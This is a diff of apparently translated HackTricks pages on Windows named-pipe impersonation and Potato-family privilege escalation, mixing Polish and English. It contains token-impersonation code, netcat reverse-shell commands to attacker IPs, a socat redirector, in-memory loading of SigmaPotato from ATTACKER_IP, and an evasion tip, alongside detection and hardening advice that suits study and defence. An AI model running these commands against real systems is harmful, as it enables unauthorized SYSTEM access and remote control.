-- CreateProcessWithTokenW lub CreateProcessAsUser
-- Poziom podszycia: aby wykonywać użyteczne akcje lokalnie, klient musi zezwolić na SecurityImpersonation (domyślnie dla wielu lokalnych klientów RPC/named-pipe). Klienci mogą obniżyć to ustawienie, używając SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION przy otwieraniu pipe.
+- CreateProcessWithTokenW or CreateProcessAsUser
+- Poziom impersonacji: aby wykonać użyteczne akcje lokalnie, klient musi zezwolić na SecurityImpersonation (domyślnie dla wielu lokalnych RPC/named-pipe klientów). Klienci mogą obniżyć to ustawienie przy użyciu SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION podczas otwierania pipe.
 
-## Minimalny przepływ pracy Win32 (C)
+## Minimal Win32 workflow (C)
 ```c
 // Minimal skeleton (no error handling hardening for brevity)
 #include <windows.h>
@@ -68,12 +68,12 @@ RevertToSelf(); // Restore original context
 return 0;
 }
 ```
-Notes:
-- Jeśli ImpersonateNamedPipeClient zwraca ERROR_CANNOT_IMPERSONATE (1368), upewnij się, że najpierw odczytujesz z pipe'a i że klient nie ograniczył impersonacji do Identification level.
-- Preferuj DuplicateTokenEx z SecurityImpersonation i TokenPrimary, aby utworzyć token główny odpowiedni do tworzenia procesu.
+Uwagi:
+- Jeśli ImpersonateNamedPipeClient zwraca ERROR_CANNOT_IMPERSONATE (1368), upewnij się, że najpierw odczytałeś z pipe i że klient nie ograniczył impersonation do Identification level.
+- Preferuj DuplicateTokenEx z SecurityImpersonation i TokenPrimary, aby utworzyć primary token odpowiedni do tworzenia procesu.
 
-## .NET quick example
-W .NET, NamedPipeServerStream może dokonać impersonacji za pomocą RunAsClient. Po impersonacji zduplikuj token wątku i utwórz proces.
+## .NET — szybki przykład
+W .NET, NamedPipeServerStream może wykonać impersonation za pomocą RunAsClient. Po przeprowadzeniu impersonation zduplikuj thread token i utwórz proces.
 ```csharp
 using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
 class P {
@@ -93,8 +93,8 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref
 }
 }
 ```
-## Typowe wyzwalacze/przymuszenia, by uzyskać podłączenie SYSTEM do twojej pipe
-Te techniki zmuszają uprzywilejowane usługi do połączenia się z twoją named pipe, abyś mógł je impersonate:
+## Common triggers/coercions to get SYSTEM to your pipe
+These techniques coerce privileged services to connect to your named pipe so you can impersonate them:
 - Print Spooler RPC trigger (PrintSpoofer)
 - DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
 - EFSRPC pipes (EfsPotato/SharpEfsPotato)
@@ -117,20 +117,20 @@ If you just need a full example of crafting the pipe and impersonating to spawn
 from-high-integrity-to-system-with-name-pipes.md
 {{#endref}}
 
-## Rozwiązywanie problemów i uwagi praktyczne
-- Musisz odczytać co najmniej jedną wiadomość z pipe przed wywołaniem ImpersonateNamedPipeClient; w przeciwnym razie otrzymasz ERROR_CANNOT_IMPERSONATE (1368).
-- Jeśli klient łączy się z SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, serwer nie może w pełni impersonate; sprawdź poziom impersonacji tokena przez GetTokenInformation(TokenImpersonationLevel).
-- CreateProcessWithTokenW wymaga SeImpersonatePrivilege u wywołującego. Jeśli to zakończy się ERROR_PRIVILEGE_NOT_HELD (1314), użyj CreateProcessAsUser po tym, jak już zaimpersonowałeś SYSTEM.
-- Upewnij się, że security descriptor twojej pipe pozwala docelowemu serwisowi na połączenie, jeśli ją zaostrzyłeś; domyślnie pipe pod \\.\pipe są dostępne zgodnie z DACL serwera.
+## Troubleshooting and gotchas
+- You must read at least one message from the pipe before calling ImpersonateNamedPipeClient; otherwise you’ll get ERROR_CANNOT_IMPERSONATE (1368).
+- If the client connects with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, the server cannot fully impersonate; check the token’s impersonation level via GetTokenInformation(TokenImpersonationLevel).
+- CreateProcessWithTokenW requires SeImpersonatePrivilege on the caller. If that fails with ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser after you already impersonated SYSTEM.
+- Ensure your pipe’s security descriptor allows the target service to connect if you harden it; by default, pipes under \\.\pipe are accessible according to the server’s DACL.
 
-## Wykrywanie i zabezpieczanie
-- Monitoruj tworzenie i połączenia named pipe. Sysmon Event IDs 17 (Pipe Created) i 18 (Pipe Connected) są przydatne do wyznaczenia bazy legalnych nazw pipe i wykrywania nietypowych, losowo wyglądających pipe poprzedzających zdarzenia manipulacji tokenami.
-- Szukaj sekwencji: proces tworzy pipe, usługa SYSTEM się łączy, a następnie proces tworzący uruchamia proces potomny jako SYSTEM.
-- Zmniejsz ekspozycję, usuwając SeImpersonatePrivilege z nieistotnych kont usług i unikając niepotrzebnych logowań usług z wysokimi uprawnieniami.
-- Defensive development: przy łączeniu się z nieufnymi named pipes określ SECURITY_SQOS_PRESENT z SECURITY_IDENTIFICATION, aby zapobiec pełnej impersonacji klienta przez serwer, chyba że jest to konieczne.
+## Detection and hardening
+- Monitor named pipe creation and connections. Sysmon Event IDs 17 (Pipe Created) and 18 (Pipe Connected) are useful to baseline legitimate pipe names and catch unusual, random-looking pipes preceding token-manipulation events.
+- Look for sequences: process creates a pipe, a SYSTEM service connects, then the creating process spawns a child as SYSTEM.
+- Reduce exposure by removing SeImpersonatePrivilege from nonessential service accounts and avoiding unnecessary service logons with high privileges.
+- Defensive development: when connecting to untrusted named pipes, specify SECURITY_SQOS_PRESENT with SECURITY_IDENTIFICATION to prevent servers from fully impersonating the client unless necessary.
 
 ## References
-- Windows: ImpersonateNamedPipeClient documentation (wymagania i zachowanie dotyczące impersonacji). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
-- ired.team: Windows named pipes privilege escalation (przewodnik i przykłady kodu). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
+- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
+- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
 
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md

@@ -3,10 +3,10 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 > [!WARNING]
-> **JuicyPotato nie działa** na Windows Server 2019 i Windows 10 build 1809 oraz nowszych. Jednak [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** można użyć do **uzyskania tych samych uprawnień i osiągnięcia poziomu dostępu `NT AUTHORITY\SYSTEM`**. Ten [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) szczegółowo opisuje narzędzie `PrintSpoofer`, które można wykorzystać do nadużycia uprawnień impersonacji na hostach Windows 10 i Server 2019, gdzie JuicyPotato już nie działa.
+> **JuicyPotato doesn't work** na Windows Server 2019 i Windows 10 build 1809 i nowszych. Jednak, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** mogą być użyte do **uzyskania tych samych uprawnień i zdobycia dostępu na poziomie `NT AUTHORITY\SYSTEM`**. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
 
 > [!TIP]
-> Nowoczesną alternatywą często utrzymywaną w latach 2024–2025 jest SigmaPotato (fork GodPotato), która dodaje in-memory/.NET reflection usage oraz rozszerzone wsparcie dla systemów operacyjnych. Zobacz szybkie użycie poniżej oraz repozytorium w sekcji References.
+> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.
 
 Related pages for background and manual techniques:
 
@@ -22,12 +22,12 @@ from-high-integrity-to-system-with-name-pipes.md
 privilege-escalation-abusing-tokens.md
 {{#endref}}
 
-## Wymagania i częste pułapki
+## Wymagania i typowe pułapki
 
-Wszystkie poniższe techniki polegają na nadużyciu uprzywilejowanej usługi zdolnej do impersonacji z kontekstu posiadającego jedno z następujących uprawnień:
+Wszystkie poniższe techniki polegają na nadużyciu uprzywilejowanej usługi zdolnej do impersonacji z kontekstu posiadającego jedno z poniższych uprawnień:
 
 - SeImpersonatePrivilege (najczęstsze) lub SeAssignPrimaryTokenPrivilege
-- Wysoki poziom uprawnień (high integrity) nie jest wymagany, jeśli token już posiada SeImpersonatePrivilege (typowe dla wielu kont usługowych, takich jak IIS AppPool, MSSQL itp.)
+- High integrity nie jest wymagany, jeśli token już ma SeImpersonatePrivilege (typowe dla wielu kont usługowych, takich jak IIS AppPool, MSSQL, itp.)
 
 Szybko sprawdź uprawnienia:
 ```cmd
@@ -35,12 +35,12 @@ whoami /priv | findstr /i impersonate
 ```
 Uwagi operacyjne:
 
-- PrintSpoofer wymaga, aby usługa Print Spooler była uruchomiona i osiągalna przez lokalny punkt końcowy RPC (spoolss). W utwardzonych środowiskach, gdzie Spooler jest wyłączony po PrintNightmare, preferuj RoguePotato/GodPotato/DCOMPotato/EfsPotato.
-- RoguePotato wymaga OXID resolvera osiągalnego na TCP/135. Jeśli egress jest zablokowany, użyj redirectora/port-forwardera (zobacz przykład poniżej). Starsze wersje wymagały flagi -f.
-- EfsPotato/SharpEfsPotato wykorzystują MS-EFSR; jeśli jeden pipe jest zablokowany, wypróbuj alternatywne pipe'y (lsarpc, efsrpc, samr, lsass, netlogon).
-- Błąd 0x6d3 podczas RpcBindingSetAuthInfo zazwyczaj wskazuje na nieznaną/nieobsługiwaną usługę uwierzytelniania RPC; spróbuj innej pipe/transportu lub upewnij się, że docelowa usługa jest uruchomiona.
+- PrintSpoofer wymaga, aby usługa Print Spooler była uruchomiona i dostępna przez lokalny endpoint RPC (spoolss). W utwardzonych środowiskach, gdzie Spooler jest wyłączony po PrintNightmare, preferuj RoguePotato/GodPotato/DCOMPotato/EfsPotato.
+- RoguePotato wymaga OXID resolver dostępnego pod TCP/135. Jeśli ruch wychodzący jest zablokowany, użyj redirector/port-forwarder (zobacz przykład poniżej). Starsze wersje wymagały flagi -f.
+- EfsPotato/SharpEfsPotato wykorzystują MS-EFSR; jeśli jakiś pipe jest zablokowany, spróbuj alternatywnych pipe'ów (lsarpc, efsrpc, samr, lsass, netlogon).
+- Błąd 0x6d3 podczas RpcBindingSetAuthInfo zazwyczaj wskazuje na nieznaną/nieobsługiwaną usługę uwierzytelniania RPC; spróbuj innego pipe/transportu lub upewnij się, że docelowa usługa jest uruchomiona.
 
-## Szybkie demo
+## Krótka demonstracja
 
 ### PrintSpoofer
 ```bash
@@ -58,8 +58,8 @@ NULL
 
 ```
 Notatki:
-- Możesz użyć -i, aby uruchomić proces interaktywny w bieżącej konsoli, lub -c, aby wykonać jednowierszowe polecenie.
-- Wymaga usługi Spooler. Jeśli jest wyłączona, operacja się nie powiedzie.
+- Możesz użyć -i, aby uruchomić interaktywny proces w bieżącej konsoli, lub -c, aby uruchomić polecenie w jednej linii.
+- Wymaga Spooler service. Jeśli jest wyłączony, to się nie powiedzie.
 
 ### RoguePotato
 ```bash
@@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
 # In some old versions you need to use the "-f" param
 c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
 ```
-Jeśli ruch wychodzący na 135 jest zablokowany, pivot OXID resolver przez socat na swoim redirectorze:
+Jeśli ruch wychodzący na porcie 135 jest zablokowany, pivot OXID resolver za pomocą socat na swoim redirectorze:
 ```bash
 # On attacker redirector (must listen on TCP/135 and forward to victim:9999)
 socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
@@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
 
 nt authority\system
 ```
-Porada: Jeśli jeden pipe zawiedzie lub EDR go zablokuje, spróbuj innych obsługiwanych pipes:
+Wskazówka: Jeśli jeden pipe zawiedzie lub EDR go zablokuje, spróbuj innych obsługiwanych pipes:
 ```text
 EfsPotato <cmd> [pipe]
 pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
@@ -122,14 +122,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
 # You can achieve a reverse shell like this.
 > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
 ```
-Notatki:
+Uwaga:
 - Działa na Windows 8/8.1–11 oraz Server 2012–2022, gdy obecne jest SeImpersonatePrivilege.
 
 ### DCOMPotato
 
 ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
 
-DCOMPotato udostępnia dwie wersje celujące w obiekty DCOM usług, które domyślnie mają ustawiony RPC_C_IMP_LEVEL_IMPERSONATE. Skompiluj lub użyj dostarczonych binaries i uruchom swoje polecenie:
+DCOMPotato udostępnia dwa warianty ukierunkowane na obiekty DCOM usług, które domyślnie używają RPC_C_IMP_LEVEL_IMPERSONATE. Skompiluj lub użyj dostarczonych binariów i uruchom swoje polecenie:
 ```cmd
 # PrinterNotify variant
 PrinterNotifyPotato.exe "cmd /c whoami"
@@ -139,7 +139,7 @@ McpManagementPotato.exe "cmd /c whoami"
 ```
 ### SigmaPotato (zaktualizowany fork GodPotato)
 
-SigmaPotato dodaje nowoczesne udogodnienia, takie jak in-memory execution za pomocą .NET reflection oraz PowerShell reverse shell helper.
+SigmaPotato dodaje nowoczesne udogodnienia, takie jak wykonywanie w pamięci za pomocą .NET reflection oraz pomocnik PowerShell dla reverse shell.
 ```powershell
 # Load and execute from memory (no disk touch)
 [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
@@ -148,15 +148,15 @@ SigmaPotato dodaje nowoczesne udogodnienia, takie jak in-memory execution za pom
 # Or ask it to spawn a PS reverse shell
 [SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
 ```
-## Notatki dotyczące wykrywania i zabezpieczeń
+## Wykrywanie i uwagi dotyczące utwardzania
 
-- Monitoruj procesy tworzące named pipes i natychmiast wywołujące API duplikujące tokeny, a następnie CreateProcessAsUser/CreateProcessWithTokenW. Sysmon może ujawnić przydatną telemetrię: Event ID 1 (tworzenie procesu), 17/18 (named pipe utworzony/podłączony) oraz linie poleceń uruchamiające procesy potomne jako SYSTEM.
-- Wzmocnienie Spoolera: Wyłączenie usługi Print Spooler na serwerach, gdzie nie jest potrzebna, zapobiega lokalnym wymuszeniom w stylu PrintSpoofer poprzez spoolss.
-- Wzmocnienie kont usługowych: Minimalizuj przydzielanie SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege niestandardowym usługom. Rozważ uruchamianie usług pod kontami wirtualnymi z minimalnymi niezbędnymi uprawnieniami oraz izolowanie ich za pomocą service SID i write-restricted tokens, jeśli to możliwe.
-- Kontrole sieciowe: Blokowanie ruchu wychodzącego TCP/135 lub ograniczanie ruchu RPC endpoint mapper może złamać RoguePotato, chyba że dostępny jest wewnętrzny redirector.
-- EDR/AV: Wszystkie te narzędzia są szeroko sygnaturowane. Rekomplilacja ze źródeł, zmiana nazw symboli/łańcuchów lub wykonywanie w pamięci może zmniejszyć wykrywalność, ale nie pokona solidnych detekcji behawioralnych.
+- Monitoruj procesy tworzące named pipes i natychmiast wywołujące token-duplication APIs, po czym CreateProcessAsUser/CreateProcessWithTokenW. Sysmon może ujawnić przydatne dane telemetryczne: Event ID 1 (tworzenie procesu), 17/18 (named pipe utworzony/podłączony) oraz linie poleceń uruchamiające procesy potomne jako SYSTEM.
+- Utwardzanie Spoolera: Wyłączenie usługi Print Spooler na serwerach, gdzie nie jest potrzebna, zapobiega lokalnym wymuszeniom w stylu PrintSpoofer przez spoolss.
+- Utwardzanie kont usług: Minimalizuj przypisywanie SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege do niestandardowych usług. Rozważ uruchamianie usług pod kontami wirtualnymi z minimalnymi wymaganymi uprawnieniami oraz izolowanie ich za pomocą service SID i write-restricted tokens, gdy to możliwe.
+- Kontrole sieciowe: Zablokowanie wychodzącego TCP/135 lub ograniczenie ruchu RPC endpoint mapper może unieruchomić RoguePotato, chyba że dostępny jest wewnętrzny redirector.
+- EDR/AV: Wszystkie te narzędzia są szeroko sygnaturowane. Przekompilowanie ze źródła, zmiana nazw symboli/strings lub użycie in-memory execution może zmniejszyć wykrywalność, ale nie pokona solidnych wykryć behawioralnych.
 
-## Źródła
+## Referencje
 
 - [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
 - [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)